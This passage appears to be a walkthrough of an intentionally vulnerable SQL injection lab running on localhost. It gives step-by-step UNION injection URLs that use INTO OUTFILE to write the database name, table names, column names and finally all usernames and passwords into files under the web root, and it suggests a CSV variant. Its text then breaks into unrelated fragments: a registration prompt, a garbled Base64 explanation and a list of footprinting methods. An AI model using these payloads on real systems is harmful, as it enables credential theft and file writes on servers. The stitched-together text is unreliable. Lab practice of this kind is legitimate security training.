hence you can see we get the output of executed query inside a text file. This will save the hack1.txt file inside the server machine also.

Execute the following query to retrieve the database name using union injection using a new text file.
http://localhost:81/sqli/Less-7/?id=1')) union select 1,2,database() into outfile "/xampp/htdocs/sqli/Less-7/hack2.txt" --+
1
http://localhost:81/sqli/Less-7/?id=1')) union select 1,2,database() into outfile "/xampp/htdocs/sqli/Less-7/hack2.txt" --+

http://localhost:81/sqli/Less-7/hack2.txt
1
http://localhost:81/sqli/Less-7/hack2.txt
Hence you can see we have successfully get security as database name as result.

Next query will provide entire table names saved inside the database using another text file.
http://localhost:81/sqli/Less-7/?id=1')) union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() into outfile "/xampp/htdocs/sqli/Less-7/hack3.txt" --+
1
http://localhost:81/sqli/Less-7/?id=1')) union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() into outfile "/xampp/htdocs/sqli/Less-7/hack3.txt" --+

http://localhost:81/sqli/Less-7/hack3.txt
1
http://localhost:81/sqli/Less-7/hack3.txt
From the screenshot you can read the following table names:
T1: emails
T2: referers
T3: uagents
T4: users
1
2
3
4
T1: emails
T2: referers
T3: uagents
T4: users

Now we’ll try to find out column names of users table using the following query.
localhost:81/sqli/Less-7/?id=1')) union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' into outfile "/xampp/htdocs/sqli/Less-7/hack4.txt" --+
1
localhost:81/sqli/Less-7/?id=1')) union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' into outfile "/xampp/htdocs/sqli/Less-7/hack4.txt" --+

http://localhost:81/sqli/Less-7/hack4.txt
1
http://localhost:81/sqli/Less-7/hack4.txt
Hence you can see it contains so many columns inside it I had chosen only two columns for further enumeration.
C1: username
C2: password
1
2
C1: username
C2: password

At last, execute the following query to read all username and password inside the table users from inside its column.
http://localhost:81/sqli/Less-7/?id=1')) union select 1,group_concat(username),group_concat(password)from users into outfile "/xampp/htdocs/sqli/Less-7/hack5.txt" --+
1
http://localhost:81/sqli/Less-7/?id=1')) union select 1,group_concat(username),group_concat(password)from users into outfile "/xampp/htdocs/sqli/Less-7/hack5.txt" --+

http://localhost:81/sqli/Less-7/hack5.txt
1
http://localhost:81/sqli/Less-7/hack5.txt
From the screenshot, you can read the username and password save the inside text file.
Note: you can try the same attack using excel file; attacker only need to change hack1.txt into hack1.csv which will save the output into excel file.


Hello friends! In our

[To see content please register here]

In the Table 1.2, for character “R” of “Raj”, the values in the Bit patternsection are in 8-Bit format and they are being converted into 6-Bit and the decimal value of the 6-Bit pairs are in the Index section.Table 1.1

• Footprinting through Search Engine
  
• Footprinting through social engineering
  
• Footprinting through Social Networking sites
  
• Website Footprinting
  
• Competitive Intelligence
  
• WHOIS Footprinting
  
• Footprinting using advanced Google hacking techniques
  
• Email Footprinting
  
• DNS Footprinting
  
• Network Footprinting